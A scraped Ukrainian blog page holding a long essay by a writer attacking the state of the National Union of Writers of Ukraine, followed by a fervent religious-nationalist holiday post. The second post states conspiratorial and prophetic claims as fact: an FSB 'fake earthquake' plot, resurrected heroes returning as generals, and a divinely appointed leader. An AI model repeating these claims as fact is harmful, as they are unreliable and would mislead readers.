хочу сюда!
 

Янина

34 года, телец, познакомится с парнем в возрасте 35-40 лет

Искать

Поиск заметок «іван франко»

Інженери людських душ.

  • 11.02.16, 02:16
«Інженери людських душ»: справжні і з членським квитком 
Чому Національна спілка письменників перетворюється на «колгосп»?

Малюнок Володимира СОЛОНЬКА.
Так скільки ж поетів — «хороших і різних»? Шановний Владім Владімич (звісно, не Путлер, а Маяковський) вважав, що «много». А насправді? Наприкінці минулого року, 17 грудня, «Літературна Україна» привітала вісімдесят п’ять нових членів Національної спілки письменників України. Одразу — вісімдесят п’ять «інженерів людських душ»! П’ятдесят п’ять чоловічої статі і тридцять жіночої. Найбільше до професійного літературного гурту прибилося митців, звісно, зі столиці та столичної області — двадцять три. Шість із Одеси, по п’ять з Миколаєва та Харкова, по чотири дали Івано-Франківськ і Тернопіль, три із Криму, решта — приблизно десь так же — хто більше, хто менше, Чернівці — один, а от із Волині, Житомирщини, Запоріжжя, Луганщини, Полтавщини, Сумщини та Херсонщини не прибуло жодного «інженера». (Либонь, поки що). Зате є по одному з Молдови, Москви, навіть зі Сполучених Штатів. Погано, коли жодного? Спробуймо розібратися разом. Але при цьому дозвольте мені заглядати до комори власного досвіду.Священна територія і купа нових книжок на підлозі

Змалку все, пов’язане з літературою, ввижалося мені, якщо не відверто рожевим, то, принаймні, неспростовно світлим. Либонь, давалося взнаки незнищенне з дитинства зачудування і книжкою, і тим, хто її витворив. Звісно, майстер слова був і залишався людиною, але тільки стосовно плоті та крові. Цим його звичайність вичерпувалася, бо далі мені уявлялися особистості й незвичайні, й надзвичайні. У всьому. Геній і лиходійство для мене завжди були речами несумісними. Навіть екстравагантне зауваження Євгєна Євтушенка, що «спорт, незважаючи на всі махінації та бруд, узагалі-то значно чистіша річ, аніж література», пояснив позерством пересиченого загальною увагою поета. Збагнув УСЕ лише тоді, коли надибав у Володимира Базилевського — у нашого, українського, та ще й степового письменника — таке: «Літературне середовище жорстоке. Часто говоримо про милосердя, про любов до ближнього, виносячи ці поняття за межі професійного кола. Свідомо забуваємо, що письменницька професія одна з найтрагічніших, бо стоїть на аскезі самозречення».

Довго, ой як довго для мене ці істини залишалися недосяжними! Ніколи не дозволяв ні собі, ні комусь іншому кинути бодай крихітний камінчик у письменницький городець. Бо то — свята, священна територія. Перший сигнал, що «в сім’ї митців» щось не гаразд, отримав у квітні 2003 року, коли, увійшовши до колишнього ліберманівського особняка на Банковій-2, у галереї очільників Спілки не побачив портрета напівбілоруски-напівукраїнки Олени Шовгенової (Шовгенівої), за чоловіком — Теліги (мабуть, із білоруської — тєлєга, візок). Взявся розпитувати, чому ж це так, а у відповідь... Важко повірити: ті, до кого я звертався (а серед них опинилися й далеко не рядові спілчани), не розуміли, на що натякає цей «хлопець із Запоріжжя». Слава Богу, що хоч знали про героїчну загибель мужньої 35-річної письменниці в Бабиному Яру в лютому (22 числа) 1942-го. Утішно також, що багатьом відомий факт вимушено добровільної смерті разом із дружиною її чоловіка Михайла, але «до чого тут керівництво Спілки письменників»? Не відали «інженери», що, повернувшись у жовтні 1941 року до Києва, Олена Іванівна відродила нашу Спілку, організувала пункт харчування упосліджених письменників, активно співробітничала з часописом «Українське слово» Івана Рогача, видавала часопис «Литаври». І так — до своєї загибелі. Коли я вже аж занадто «діставав» декого зі своїми «чому?», то мені роздратовано зауважували: «Так вона, як ти кажеш, очолювала Спілку всього лише неповних чотири місяці!». «Лише чотири місяці...» Але ж які то були місяці! І хто це сказав, що вартість чийогось особистого внеску в загальну справу вимірюється терміном перебування на посаді, а не тим, що людина зробила!

Гірко було це чути під склепінням загальноукраїнського письменницького храму. А навесні року 2012-го — ще один сюрприз. Тоді якраз нове керівництво НСПУ невтомно віщало про необхідність перезавантаження в роботі Спілки, я ж, зачинивши за собою двері Будинку письменників, звернув увагу на купу нових книжок різних авторів. За пару кроків від стола чергового височіла вона похмуро під бетонованими східцями. Звідки? Їх, за розпорядженням нового керівництва НСПУ, вилучили у чергових, яким письменники (переважно ті, хто приїжджав до столиці з периферії) передали для продажу за вельми прийнятною ціною. Непоганий, смію зауважити, був засіб розповсюдження книжок. Без ліцензії, без відповідно обладнаного місця? Звісно, це вопіющеє нєподобство! Тому керівництво НСПУ, замість того щоб на законних підставах обладнати в тому ж холі Будинку письменників або ж неподалік спеціальний кіоск для торгівлі українськими книжками українських письменників, наказало кинути їх просто на підлогу, під східцями, — щонайменше кілька сотень найменувань! І нехай би «серед мотлоху» я розшукав два примірники свого «Інспектора Хорса» (п’ять черговий усе ж таки продав!), але ж там знайшов цілу пачку збірки віршів Леоніда Талалая, збірочку Бориса Мозолевського і ще багатьох-багатьох відомих авторів! Словом, книжки вже були звалені купою. Лишалося ту купу передислокувати на майданчик перед Будинком, для ефекту облити бензином або хоча б гасом і піднести сірника. Як робили це на площах у Берліні 1933-го чи в Луганську влітку 2014-го...

Невшанована гідно героїчна минувшина — з одного боку, ставлення до творів колег — з іншого. Не має майбутнього Спілка, до керма якою потрапляють люди, котрі дозволяють подібне. Хоч ріжте мене на шмаття, хоч смажте на вогні — стоятиму на своєму, бо знаю, що кажу. Змінили керівництво? Але не змінили структуру організації, не позбавилися баласту, що тягне всіх на дно.

Багато офіційно зареєстрованих

То був погляд ззовні, а сутність нашої Спілки почалася відкриватися мені в Одесі, під час традиційного Шевченківського свята у травні 2006 року, якоюсь розхристаністю письменницької делегації. Ми прибули до «жемчужины у моря» під священним знаком Великого Кобзаря, проте об’єднавчий фактор саме навколо цього не відчувався. Ходили-блукали поодинці або ж купками, зупинялися, щоб попити пива чи чогось міцнішого, і кожен начебто — сам у собі. Хіба що неоднозначна доповідь Володимира Яворівського, побудована, як мені здалося, на... протиставленні Шевченка Гоголеві і проголошена в Театрі опери та балету, могла б стати предметом дискусії. Але не стала. Ніхто про неї після урочистого відкриття заходу й словом не прохопився. Їхав начебто до побратимів по перу, скільки хотілося почути від них у довірчих розмовах, скільки сказати їм, але цього не сталося. Наприкінці другого дня «свята» почувався так зле, що раптом захотілося усамітнитися в готельному номері «наодинці з пляшкою» і добряче напитися...

Тоді я вперше відчув, що нас дуже багато. В Україні аж занадто багато офіційно зареєстрованих «інженерів людських душ». Кількість зайвих (бездарних, але напрочуд спритних) не просто зашкалює — у ній загрозливо розчиняється сутність необхідних і достойних (талановитих і делікатних). І саме ядуча атмосфера отієї більшості накриває всіх, саме вона й визначає сьогодні сутність НПСУ, а отже — її авторитет у суспільстві. Ота байдужість, нерідко навмисне підкреслена, — як до буденних справ, так і до успіхів чи невдач колег, — то реакція на наявність серед достойних сірої маси нездатних, то своєрідний щит, засторога від посягання на твою особистість. То — навіяне, нав’язане штучно створеними сумними реаліями письменницького буття. Отоді, у травні 2006-го, побачив нашу Спілку не лише зблизька, а й ізсередини. Мимохіть відчув її сутність. Нас, гостей, було десь близько сотні. Ядро делегації становили, як заведено вважати, наші провідні письменники, критики, літературознавці, тож неважко уявити, з яким хвилюванням роздавав я свою збірку новел «Дев’ять молитов у серпні». Більше півсотні роздав. Звісно, з автографом та ще й із візиткою між сторінок. До цього вже були схвальні відгуки од відомих колег із Києва, Вінниці, Дніпропетровська, та хотілося уточнень. Зокрема, один учитель із Кіровградщини написав мені, що в новелах є щось тютюнниківське... Спершу зрадів, а потім подумалося: то, виходить, я епігоню? Словом, хотілося почути глибокі відгуки. Не обов’язково у вигляді газетних публікацій (боронь, Боже!), навіть не в формі листів звідусіль (як міг на таке сподіватися!), а через посередництво бодай телефонного дзвінка. Проте не дочекався нічого. Якби, дорогі читачі, оце зараз я вилаштував список наших літературних високодостойників, у чиїх руках опинилися тоді мої «Молитви...» і хто й бровою не повів, щоб згодом бодай шепнути щось авторові з цього приводу, ви отетерієте. Бо не повірите, що такі люди можуть бути настільки нестандартно...чуйними.. Тоді я ще не знав: в Одесі мелькнув не виняток, мені відкрилося огидне правило. Так уже воно у нас повелося: ти комусь із маститих чи не дуже вручаєш свою книжку — продукт своєї праці — надто, коли висилаєш поштою, напружено чекаєш реакції, а, як казав Владімір Висоцкій, «в ответ — тишина». Це все одно, як ти ввічливо промовляєш до людини «Доброго дня!», а вона дивиться на тебе, чує і мовчить. ПІДКРЕСЛЕНО мовчить! Скільки разів пізніше я в тім переконувався! Раніше про це якось не думав, а запізніло збагнув, що то перевірений і надзвичайно надійний засіб «нейтралізації конкурентів».

НСПУ втратила колишній суспільний авторитет, і то є правдою. На цю тему у нас «плачів» найвигадливіших варіантів -— кількатомник можна видавати. Але чому? Куди той авторитет подівся? Хтось украв? Сам вивітрився? До цих питань «плакальники» навіть не наближаються, позаяк констатацію очевидного, загальновідомого та ще й вельми драматичного (якщо не трагічного) явища озвучувати набагато вигідніше — тут ніколи не помилишся, хіба начотником обізве хтось аж занадто прискіпливий, але то дрібниці.

Авторитет НСПУ почав знижуватися із набуттям Україною незалежності. Поступово, але неухильно. Насамперед через те, що держава, проголосивши себе суверенною, відмовилася від імперської спадщини, до якої належав і письменницький гурт. Нехай та відмова багато в чому була схожа на декларацію про наміри, відтак чимало пережитків компартійного минулого у стилі нашого буття благоденствує й понині, але зриме, те, чого легко можна було позбутися, відкинули. Зокрема, творчу Спілку пустили на самоплив: мовляв, нехай митці годують себе самі, бо ми впевнено ступаємо на стезю ринкових стосунків. А ще: Спілка — сталінський витвір, то чого ж там із ними панькатися!

Звісно, ідея створення Спілки письменників СРСР належить Сталіну. У ній керманич більшовицької імперії вбачав один із бастіонів новітньої державності, і не помилився. Творчий бастіон держава взяла на утримання (а як же інакше!) і не прогадала: радянські письменники соціальне замовлення партії виконували більш ніж сумлінно. Усі? Ті, котрі вважалися радянськими, — поголовно, а хто шукав інших шляхів для реалізації свого творчого потенціалу, опинялися спершу на Соловках. Потім на Колимі. Затим — у спецтаборах Мордовії. Сталін та його приспішники чітко виписали стиль поведінки для «інженерів людських душ», і хто його неухильно дотримувався, на життя не скаржився. Заслуговують такі на осуд? Хіба що з боку їхніх колег-сучасників, які не дотримувалися. Нам же мораль дозволяє брати все лише до відома, про що ми, на жаль, не завжди пам’ятаємо. Але це — інша тема. Зараз — про долю СПУ-НСПУ.

Не як краще писати, а як вижити

Опинившись у вільному плаванні, письменницька організація одразу відчула, що переваг у пересуванні житейським морем-океаном саме у такий спосіб набагато менше, аніж вад. На це — самовіддано, без жодних прицілів на якісь преференції, — започатковуючи Народний рух України, товариство «Меморіал», відновлюючи товариство «Просвіта», наша Спілка аж ніяк не сподівалася, бо заслуговувала на краще ставлення до себе. Як із боку суспільства, так і з боку держави. Тепер можна писати про що завгодно? Пишіть! А хто друкуватиме? Хто виплачуватиме гонорари? Де право на додаткові метри у помешканні члена СПУ? Де тверда оплата за виступи перед читачами? Доволі довга вервечка безвідповідальних «де?». Іншими словами, вибачте за тавтологію, вільне слово стало коштувати аж занадто дорого. Відтак починаючи вже з Х з’їзду СПУ 1991 року (І з’їзду, за новітнім літочисленням) головна проблема творчого угруповання все чіткіше починає окреслюватися не словами «як краще писати», а «як вижити». Кому? Дуже важливе питання. Воно потребує окремого дослідження, я ж у цих нотатках скажу лише, що питання «кому?», на жаль, далеко не однаковою мірою торкається рядових членів Спілки та її київських керманичів. Зокрема, рядові члени платять лише внески й годуються від діяльності, жодним чином не пов’язаної з письменництвом, тоді як київські літературні очільники утримуються на кошти Спілки. Плюс — відповідні письменницькі лікувальні заклади у столиці, плюс близькість видавництв та літературних часописів. Усе це визначає неоднакове становище навіть рядових — столичних і периферійних — членів СПУ (згодом НСПУ). Про керівництво ж зайве й казати. Проблема загострювалася, і 1996 року процес розшарування спричинив розкол Спілки: письменники Юрій Покальчук, Юрій Андрухович, Микола Рябчук та Ігор Римарук вийшли із СПУ й 1997 року організували альтернативну творчу структуру — Асоціацію Українських письменників. Раніше, 1992 року, виникла Міжрегіональна спілка письменників України, що об’єднує літераторів із 19 областей.

Про що все це свідчить? Про те, що творча структура, створена 1934 року для функціонування в одних суспільно-політичних умовах, опинившись у зовсім інших і анітрохи не модернізувавшись, захиталася. Скільки списів ламалося на кожному з’їзді, починаючи з першого (1991), скільки звинувачень лунало на адресу керівництва НСПУ! Приходили до управління нові люди, обіцяли навести лад, наче щось робили, проте все лишалося по-старому. Мало того, ситуація неухильно погіршувалася, що засвідчили події осені 2003-го та зими й весни 2004 років. Посипалися звинувачення на Володимира Яворівського — тяжкі й не позбавлені підстав. Усі завмерли в очікуванні революційних змін, пов’язуючи їх із обранням 2011 року головою НСПУ Віктора Баранова, та невдовзі знову заговорили і про гендлювання майном, і про зловживання з присудженням премій, навіть про внутрішню та міжнародну ізоляцію української літератури. Дійшло до того, що на позачерговому VІІ з’їзді НСПУ(29.11.2014) так поспішали обрати нового очільника, замість померлого Віктора Баранова, що для головної доповіді в.о. голові НСПУ Олександрові Божку відвели аж... п’ятнадцять хвилин, для виступів — не більше трьох. Загалом же на з’їзді не пролунало й звуку про Слово, про Творчість, лише нарікання: на керівництво НСПУ, на українську владу, на недолугу «Літукраїну», на колег. Усі говорили про нагальність змін, дехто силкувався навіть окреслити чіткий план дій виходу із кризи, і все це, мабуть, обнадіювало марновірних, але приречено вело не туди. Бо з головним так і не впоралися: не дійшли згоди про зміст терміна «криза» та його місцезнаходження. Занадто абстрагують його і вбачають переважно в особі «зовнішнього ворога», у середовищі «п’ятої колони»; загалом усе це є, проте корені клятої кризи у природі НСПУ, її гніздечко — у гурті самих письменників. Хвороба, яка підступно загострилася за часів незалежності, — зросла чисельність «інженерів людських душ». Прикро це чути, мабуть, кожному спілчанину, бо тоді в ролі кандидата на скорочення може опинитися будь-хто, принаймні теоретично це дуже можливо. Ну то й що? Неприємно, незатишно, але це так. Іншого виходу немає. Ігнорування цього очевидного факту ще глибше заганяє хворобу всередину, аж поки загальнописьменницький організм не згниє вщент. А він уже загнив — листопадовий (2014) з’їзд показав це з усіх боків.

Нас, членів НПСУ, неприпустимо багато. Переважна більшість власників членських квитків — люди у Спілці випадкові. Звісно, не в розумінні того, як вони там опинилися, стосовно механізму добору талантів, то якраз він у нас відрегульований чітко, відтак — у цьому сенсі він є частиною закономірного процесу. Випадкові люди у Спілці — це ті, котрі, як нині кажуть, за визначенням не гідні бути членами творчого угруповання. Згадую, як розпочинався, як розгортався і як закінчувався VII позачергоговий, і думаю: хіба можна уявити учасником подібного, даруйте, збіговиська, скажімо, Панаса Мирного? Чи став би Нечуй-Левицький уперто стовбичити біля сцени з президією, щоб почули тільки його слово і рахувалися лише з ним? Чи зважилися б Гемінгвей, Достоєвський, Гребінка, Бальзак, Гюго, Франко, Діккенс, Марко Вовчок, Джек Лондон чи Леся Українка верзти на повний голос те, що віщали окремі делегати з «трибуни з’їзду»? Ніколи, нізащо і ні за яких обставин. Бо лізти геть зі шкіри, аби потрапити на чергову (позачергову) столичну белетристичну тусовку у статусі повноправного делегата, чатувати коло сцени і полум’яно виголошувати революційні кличі, — то тяжкий хрест і ситний хліб невдатних і нездатних. Лише їх! Через те й отримали ми всі «з’їзд» замість З’їзду!

Як ти Спілку назвеш...

Від того й лихоманить Спілку, яку одні ласкаво називають «свинарником» (чув таке особисто з вуст одного з наших літературних генералів), а другі не менш зворушливо — «колгоспом». Через те й накопичуються проблеми. Звісно, я аж ніяк не закоханий у сучасну НСПУ, але приміряти до неї пікантні псевдо снаги не вистачає. Для кого Спілка «свинарник»? Для отого, кого ще молодим хлоцем витягла вона з якоїсь Твердохлібівки чи Завинилівки на столичні асфальти, кому організувала постійну столичну прописку й дала достойну квартиру? А хіба наступні його шалені успіхи — аж до звання Героя України — падали з неба, а не зумовлювалися письменництвом, зокрема й належністю до СПУ? Другий спритник охрестив Спілку «колгоспом», але вже після того, як вона перетягла його із засушливого таврійського степу на благодатні Печерські пагорби і дозволила перепробувати цілу низку спілчанських та навколоспілчанських посад...

«Свинарник» у складі «колгоспу» зростав і зміцнювався не сам по собі, а за участю наших попередників, нині ж — нас самих. Перший з’їзд (1934, після з’їзду письменників СРСР року 1932-го), що відбувся у тодішній столиці України, Харкові, зафіксував 206 членів творчої Спілки. Далі — тотальні репресії (лише в один день, 3 листопада 1937 року, в лісовому урочищі Сандармох було розстріляно 100 найяскравіших представників української творчої інтелігенції), війна, знову репресії. Сталін винищував українських митців упень, але на ІІІ з’їзді (1954) говориться про 324 члени СПУ та 95 кандидатів (тоді була й така категорія «інженерів», за аналогією до партійної)... Словом, станом на 1991 рік в Україні значилося вже 1095 письменників, сьогодні ж їх 2075. Усе через те, що на теренах — спершу УРСР, а згодом незалежної України — зросла кількість громадян? У жодному разі! Навпаки, рівень чисельності населення у нас неухильно зменшується: 51,7 мільйона (1989), 51,9 (1991), 50,89 (1997), 49,4 (2000), 42,9 (уже без Криму, станом на 1.09.2014).

Що ж виходить — людей меншає, а письменників більшає? Того й чекай: невдовзі ми станемо вже не «самой чітаємой», а «самой пішущєй» нацією у світі? Саме час готуватися, щоб започаткувати Національну спілку читачів...

Власне, тут не до сміху, бо за кількістю тих, хто пише, має буцімто зростати й кількість тих, хто читає. І це якось має впливати на рівень суспільної моралі, коли вірити поетичному афоризмові про ефект і наслідки поширення «разумного, доброго и вечного». Власне, не якось там впливати, а неодмінно позитивно! Стан же нашого сучасного суспільства, за логікою речей, свідчить про те, що ніякого відповідного впливу воно на собі не відчуває. Принаймні у тій кількості або ж такої сили, щоб стрімко перетворюватися на суспільство високої моралі, позитивних імпульсів воно не отримує. У чому ж річ? Погано сіємо? Сіємо добре, але забуваємо поливати? Чи сіємо зовсім не те?

Обирайте, дорогі читачі, що кому більше до вподоби. Я ж затято грішитиму на занадто велику чисельність... Ні, не тих, хто мережить аркуші словесами (нехай собі мережать на здоров’я), я про кількість осіб, об’єднаних у професійну творчу Спілку. Гарно ви сказали, дорогий Владім Владімич, що наша «мова величава и проста», а от із заявою про «хороших и разных поэтов», яких може бути «много», переборщили. Гарних поетів — справжніх, глибоких — багато бути не може. Та й, вибачте, не треба їх стільки. Нехай пишуть усі, хто має бажання, нехай множаться лави поетів і прозаїків, проте до СПІЛКИ ПИСЬМЕННИКІВ слід приймати лише тих, чиє письмо воістину позначене високим талантом, хто створює високі літературні твори, відтак дійсно складає творчу ЕЛІТУ у відповідному творчому сегменті. Іншими словами, щоб слово «письменник» лунало врочисто, а надто — «член Національної спілки письменників».

Суспільна НЕДОповага

Із Маяковським, отам, де він каже про «хороших и разных поэтов», яких у нього «много», здаєтьcя, з’ясували. Тож ідемо далі... Нас дійсно занадто багато, через... проникнення до лав НСПУ малообдарованих, ледь обдарованих і геть бездарних. Співвідношення... боюся навіть сказати яке, принаймні, якби Спілка скоротилася втричі, а то й у чотири рази, це пішло б тільки на користь. Не лише їй, а й суспільству. Письменнникам — бо отримали б від держави ті преференції, без яких творче угруповання повноцінно існувати у нас далі не зможе, а суспільству — через відновлення авторитетної структури митців, на яку знову можна було б спиратися, зміцнюючи демократичні засади.

Якби комусь забажалося сотворити уявний, узагальнений, я б сказав, класичний образ митця (зокрема письменника), що виставлялося б на перший план вдачі такого майстра слова? Он хтось підказує: талант, сердечність, делікатність, шляхетність, розважливість, довірливість, щирість, схильність до усамітнення, непрактичність. Згодні, дорогі читачі? Чудово! Я теж підтримую обома руками. А тепер уявімо всі гуртом такий же узагальнений портрет, але не зовсім відсторонений, не геть абстрактний, а на основі сучасної громадської думки про НСПУ... Які чесноти випало б згадати в першу чергу? З талантом, схоже, виникла б напруга. Сердечність, делікатність і шляхетність поступилися б місцем самовпевненості, нахабству й зарозумілості. Далеко від них не опинилися б і дражливість, чванькуватість, інтриганство, підступність, прагматичність, жага усіляких белетристичних тусовок. Перебільшую? Не я один, зі мною ви, дорогі читачі, а також колеги, які, попри все, бодай зрідка опиняються в гущі народу, відтак чують, що про нас мовлять люди.

Звідки ж оця суспільна, скажімо так, НЕДОповага? Як вчиняємо, так і маємо. До лав НСПУ протовпилося забагато нездар, котрим, щоб не лише опинитися в незаконному статусі письменника, а й утвердитися в ньому, ні до чого делікатність зі шляхетністю. Заради себе, незамінного, застосовуються насамперед самовпевненість і нахабство. Далі — підступність, інтриганство, прагматизм. Ані натяку на якусь там дебільну творчість! Переважна більшість проблем НСПУ — через широкі прояви вузького й низького в людині. Оті всі наші перманентні майнові проблеми, нескінченні міжусобиці, доноси, наклепи — від нездар. Спілку дійсно треба перезавантажити, але не так, як просторікували, нічого не роблячи, попередники нинішньої команди Михайла Сидоржевського, а шляхом... Перше: саморозпуск НСПУ. Друге: залучення до творчого угруповання справді гідних. При цьому змінити правила прийому. Вони мають бути максимально жорсткими: залучати до лав НСПУ лише високообдарованих, чий талант підтверджений значними творами. Не якимись ситуаційними метеликами в тридцять чи сімдесят сторінок, а повноцінними книжками. Власне, стоп, зараз я пишу нотатки, а не новий статут НСПУ, то наголошуватиму не на деталях, а на речах засадничих.

Із нинішньої НСПУ до оновленої зможе потрапити лише 500 чи навіть 400 осіб? Прекрасно! Саме цей гурт держава бере на своє повне утримання. До речі, ваш покірний слуга, дорогі читачі, не верещатиме від образи й розпуки, якщо літературна люстрація забракує і його. Він уже забракований. З того незабутнього дня, як отримав квиток члена НСПУ. Бо ніякої залежності від Спілки не відчуваю. Книжки свої пишу сам, сам їх оформлюю, сам шукаю (інколи знаходжу) гроші на видання, сам розповсюджую. Скоро вже сам — і тільки сам! — і читатиму їх. Отже, я вже готовий. Головне — повернути українському письменству його честь і авторитет.

Ризикну навіть висловити геть крамольну думку: навряд чи озлидніла б вітчизняна духовність, якби її сучасний літературний сектор вичерпувався територіями Олеся Гончара, Григорія Тютюнника та Ліни Костенко, а найсучасніший — вигонами трьох чи п’ятьох поетів — прозаїків (прізвища назвати не наважуюся). Навпаки, духовність, власне, все суспільство лише виграло б, оскільки не потерпало б так жорстоко через тяжку повинність споживати загримований під вірші й прозу непотріб та бути свідком наших нескінченних чвар. Водночас значно помітнішими стали б постаті названих (та кількох не названих) митців, а все, ними створене, — застребуванішим. Власне, посилилася б увага й повага до Слова. Ви чуєте, панове графомани, насамперед, не з гурту необтяжливих аматорів, а з когорти дебелих професіоналів, надто — обласканих усілякими преміями, званнями та нагородами? Хіба не здогадуєтеся, як дорого платить суспільство за вашу славу?

А відібраний півтисячний гурт письменників-професіоналів, підтримуваний незрадливою державою, працюватиме саме на державу, на суспільство, на всю українську громаду так, як не зможе це робити ніякий інший гурт. І тут уже я не жартую. Саме письменники, і тільки вони, можуть зміцнити основу основ нації, без чого вона існувати не може, — Слово. Ніяких поліклінік НСПУ, ніяких баз, іншого рухомого й нерухомого майна у власність віддавати «інженерам» не слід — це тільки викликатиме нездорові прагнення серед їхніх керманичів і спрямовуватиме творчі зусилля куди не слід. За все платить держава. Письменників мають обслуговувати у звичайних поліклініках на пільгових засадах. Відпочивають «інженери» в будинках творчості, де разом із ними — художники, артисти, кінематографісти. Відновлюються платні публічні виступи. Встановлюється достойний гонорар за книжки та окремі публікації. Відкриваються видавництва, які випускають книжки лише українських та УКРАЇНОМОВНИХ письменників і не тисячними, а двадцяти-тридцяти-стотисячними накладами й розповсюджують їх по всіх-усіх бібліотеках: обласних, міських, районних, сільських, вишівських, шкільних і т.д. Частина книжок іде вроздріб. Для цього треба гроші? Не так уже й багато, і лише для початку, для старту.

Костянтин СУШКО,член Національної спілки письменників України, 
лауреат премії імені Івана Франка

З святом Стрітення Христа +З Днями створення ОУН й МТ "Сокіл+"!

  • 03.02.16, 09:05
 cvetok angel    Слава Ісусу Христу !  Вітаємо  ми офіцери\капелани УГВР  щиро з  святом СТРІТЕННЯ вас ХРИСТИЯНИ й бажаємо  всього кращого ! http://blog.i.ua/user/4400999/1632118/ Совісно читайте й множте цю  та минулу нашу статтю про Божі чуда на Стрітення 2015року і згадайте що саме на Стрітення сатрапи антихриста Путіна хотіли зробити лжеземлетрус в Галичині \Шук в ГУГЛ "лже землетрус  ФСБ 14 лютого 2012рБ  +Путин метеорит"=Молімося й борімося за скорше СТРІТЕННЯ з ВОСКРЕСЛИМИ від неба святими й БОГОМ в УКРАІНІ та нашу над антихристом Путіним і всіма потворами зла до літа 2016 року славну ПЕРЕМОГУ ! О Боже наш русий синеокий Ісусе спаси нас вибач за все ! Хай Мати Пречиста і Божеє військо з Кобзарем всіх нас й Україну скоріше спасе  З СВЯТОМ ! http://kmoun.info/2016/02/02/istorichna-misiya-oun-do-87-richchya-stvorennya-organizatsiyi/ Єднаймо ОУН й УКРАЇНУ ! У 1929 році постає ОУН – когорта героїчних борців, які на закрутах історичного шляху не знали хитань і сумнівів, і, як міфічні титани поновлювали втрачену силу і життєву снагу через зв’язок із матір’ю-землею, так і ОУН з цілющого джерела животворної Шевченківської ідеї українського націоналізму завжди черпатиме віру в себе, у свій народ, у своє історичне призначення.

         Згадаймо сьогодні керманичів націоналістичного руху, які не важили своїми дріб’язковими, приватними справами, і, не замислюючись, як і їх славний попередник, віддавали своє життя, якщо цього вимагала справа. Це і великі організаторські потуги  Є.Коновальця, А.Мельника і С.Бандери,C.Ленкавського і Я.Лесіва та .М.Плавюка ...Памятаймо   відчайдушність Олега Ольжича \КАНДИБИ  Ярослава Стецька, Кирила Осьмака самопожертва Олени.Теліги, героїзм братів Бандери та  Романа Шухевича, Миколи Арсенича,Миколи Твердохліба\ Миколи Голодюка .. Д.Орлика, Д.Маївського, Я.Чемеринського, І.Рогача Василя Стуса   і Володимира Івасюка \ Романа  Левицького  та Сергія Дідича та  багатьох інших  героів й страдників , хто своїм життя засвідчив вірність національним ідеалам  священноі боротьби проти окупантів і зрадників Украіни. Памятаймо  що головними натхненнками священних чинів  Героів і друзів ОУН  завжди були наш Бог та Богом дані  негаснучі світочі  нашоі нескореної нації серед яких  славні князі й Гетьмани  а особливо геніальні Поети  Тарас Шевченко\КОБЗАР  та  Іван Франко\КАМЕНЯР....які мають воскреснути з небес  як головні  Генерали  УГВР ...Памятаймо і тих хто з інших націй й вір поміг і помагає поміг у національновизвольній  боротьбі  нам украінцям\християнам...

          То хіба ми можемо сказати, що ці імена сьогодні в Україні належно вшановані, і що з них нація бере приклад? Далеко ні! І навіть навпочікоподібні офіційні відзначення  ювілеїв багатьох із них аж відганяли отою набридливою формальністю і штучністю виконання пунктів указу із постійно ущипливими включеннями «мнєній інакомислящіх сторон. А хіба спостерігалася в українському середовищі якась хоча б побіжна хвиля обурення з приводу продовження вандалістичного свавілля шовіністичних сил, які чинять наругу над національною пам’яттю, плюндруючи монументи нашим національним героям?

Наше сьогодення обов’язуе до пошуку нових шляхів і напрямів роботи з розумінням насущних проблем і пошуком їх вирішення, які б відповідали духові новочасся. Сучасний націоналізм повинен позбутися отого красномовства «рятівників нації», які нібито достоту все знають і розуміють, а зробити нічого не можуть, бо і не вміють. Маємо надію, що ці ідеї знайдуть розуміння на всіх теренах України і будуть мати продовження в конкретній, самовідданій праці патріотів на благо самоствердження нашої державності, розвою Украінського Націоналістичного Руху та становлення української КОЗАЦЬКОЇ  ХРИСТИЯНСЬКОЇ Нації.  Найславнішою подією в історії ОУН  є  чудеса  яв і видінь  Преславного Христа  Бога  й Пресвятої Богородиці НАШИМ візіонерам  ОУН та  деяким  Провідникам  які всі були  ХРИСТИЯНАМИ УГКЦ  а особливо ці Божі ласки виявилися в останні роки  на явному Провіднику    УНРуху ОУН\УПА українцю   й учаснику тайноі мережі ОУН з 1979року  заприсяженому в сланім селі Загвіздя  в рік  50річчя  ДЕКАЛОГУ ОУН \УПА  прочитаного саме там що є кілька кілометрів поруч  давнього столичного міста  Галич  який також мав назви  Княгинина \Станіслава \Франківська ... вірному УГКЦ кровному родичу  славних  Героів  Украіни з роду  Бандери й Шухевичіві  нині 52річному  Борису Голодюку  який  відомий особливо галичанам   ще з 80років  як  героічний  патріот  ОУН\УПА за рішенням тайної мережі ОУН\УПА \УГВР  має досмертне право  явного очільника цих патріотичних строуктур  якими керує сам синеокий русий Христос Бог  та  Богом данеиий тайний Генерал Гетьман Украіни  Святослав Чупринка котрого в часі повернення з небес воскреслих  Героів і друзів ОУН\УПА  на віки замінить  славний Тарас  Шевченко !

На закрутах історичного шляху ОУН не знала хитань і сумнівів. Як міфічні титани поновлювали втрачену силу і життєву снагу через зв’язок з матір’ю-землею, так і ОУН з цілющого джерела животворчої ідеї українського націоналізму завжди черпатиме віру в себе, у свій народ, в своє історичне призначення. Це давало і завжди даватиме їй натхнення жертовності і пафос революційної боротьби на шляху до здійснення її остаточної мети.

..Борімося ! Поборемо !  Бог з нами був є і буде...Христос і Божа  МАТИ  дають все більше  знаків  що вже скоро з небесХРАМІВ  а не  з гробів воскреснуть  НАЙБІЛЬШПОТРІБНІ і  обрані Богом  на спасіння світу й Украіни від АНТИХРИСТА ПУТІНА та інших потвор тьми .... Про це  ГУГЛіть "Пророцтва УПА " та слідкуйте за новинами які є на ІНТЕРНЕТсторінках ЯВНОГО Провідника УНРуху ОУН\УПА  Генерала капелана УГВР  Б.Голодюка  ...Щасливо ! Разом переможемо ! СЛАВА Богу за все...Слава ОУН й нашим Героям .. Слава УКРАІНІ !

З Новим роком+Надзвичайна новина Богородиці й УПА з Франківська

  • 26.12.15, 13:11
